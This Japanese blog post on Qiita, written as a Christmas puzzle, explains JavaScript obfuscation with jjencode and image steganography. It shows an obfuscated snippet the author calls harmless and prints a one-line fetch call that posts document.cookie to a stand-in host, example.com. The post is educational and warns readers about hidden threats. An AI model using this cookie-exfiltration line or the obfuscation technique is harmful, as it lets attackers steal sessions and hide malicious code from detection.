LoginSignup
10
0

More than 3 years have passed since last update.

どうも。@hinoraです。
今日でクリスマスを迎え、今年もいよいよ終わりです。

せっかくのクリスマスということで、僕からプレゼントをご用意しました。

少しわかりにくいところに置いてありますが、よかったら探してみてくださいね。


改めまして、今回は隠ぺいの技術である難読化ステガノグラフィについてご紹介します。

難読化とは

「難読化」という言葉はご存じでしょうか。
意味は文字通り、意図的に読みにくくしたコードのことです。

その目的は、ウィキペディアによれば

  1. コードの目的を隠ぺいしたり、リバースエンジニアリングなどを阻止するため
  2. コードを解読するもののためのパズルや娯楽として

とのことです。

実際のコードを見てみましょう。

change.js
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.__+"\\"+$.__$+$.$_$+$.__$+$.__+(![]+"")[$._$_]+$.$$$_+"='//\\"+$.__$+$.$$_+$.___+"\\"+$.__$+$.$$_+$._$_+$.$$$_+"\\"+$.__$+$.$$_+$._$$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"-"+$.$_$$+"\\"+$.__$+$.$$$+$.__$+"-\\"+$.__$+$.$$_+$._$$+$.$_$_+"\\"+$.__$+$.$_$+$.$$_+$.__+$.$_$_+".\\"+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+"."+$.$_$_+"\\"+$.__$+$.$$_+$.___+"\\"+$.__$+$.$$_+$.___+"'"+"\"")())();

// and Go to title. (if you want)

これは難読化ツールの中でも有名なjjencodeを用いてエンコードされたJavaScriptです。
これ、変換前はたった30文字ほどのコードです。(実行しても安全なものです)

比較的復号しやすいらしいのですが、パッと見ではさっぱり読めませんよね。

難読化する方法

難読化の手法には様々な手法がありますが、今回はjjencodeの一端を担う技術を紹介します。
例として、alert(1)を難読化するものと仮定します。

!1という評価値があります。
これは言わずもがな、falseとして評価されます。

これを文字列にキャストします。
方法は様々ですが、JSでは文字列結合すると文字列として評価されるので、!1 + ''とすることで、'false'が文字列として返されます。
これを配列として取り出すことで、任意の文字を抽出します。
たとえばaであれば(!1+'')[1]といった具合です。

alertのaは上記で取り出し、他のものも同様にして組み立てていきます。
最後にeval(evaluteの略)などしてあげることで、任意のコードを評価し、実行できるという仕組みです。

(ただし、jjencodeではevalを用いずに別の形を使っています)

ステガノグラフィとは

ステガノグラフィとは「情報を他の情報に埋め込む技術」のことです。
セキュリティの分野を学ばれている方にとっては、耳なじみのある言葉だと思います。

文字、画像、動画、楽曲など様々なものに情報を埋め込むことができます。
今回は、画像のステガノグラフィを試してみたいと思います。

この気の優しそうなおじいさんの画像、以下の「クッキーを取得して外部に送信する」という凶悪なスクリプトがテキストとして埋め込まれています。

fetch('//example.com', { method: 'post', body: document.cookie, mode: 'no-cors' })

※ もちろん画像を表示しても勝手に実行されることはないので安心してください

ただ実際に、エクセルファイルのVBAを経由してスクリプトを埋め込んだ画像をダウンロードし、実行させるというような攻撃が存在します。

そういった経緯から、セキュリティの分野で扱われている、ということなんですね。

ちなみに、画像へのテキストの埋め込みはこのツールを使用しました。
このツールは埋め込みだけでなく、取り出し(デコード)もできるようになっています。

おわりに

初めに話した難読化も、セキュリティ攻撃防御のためのパターン検知を回避するための手法として用いられることがあります。
ただ知見として認識しておくことだけでも、懐疑的になれることでリスクが軽減できます。

インターネットの危険なものは、危険な形をしていないことがよくあるということこと、ぜひ心に留めておいてください。

それでは、メリークリスマス!


おまけ

プレゼントのヒントです。どうしてもわからなかったら見てください!


ヒント1
難読化されたコード、実行して変化するのは・・・?
コメントにしたがって、そのページへアクセスしてみよう!


ヒント2
Evaluteとは評価することです。つまり・・?(この記事をよく読んでみて!)


ヒント3
もちろん、ただの画像ではありません

10
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
10
0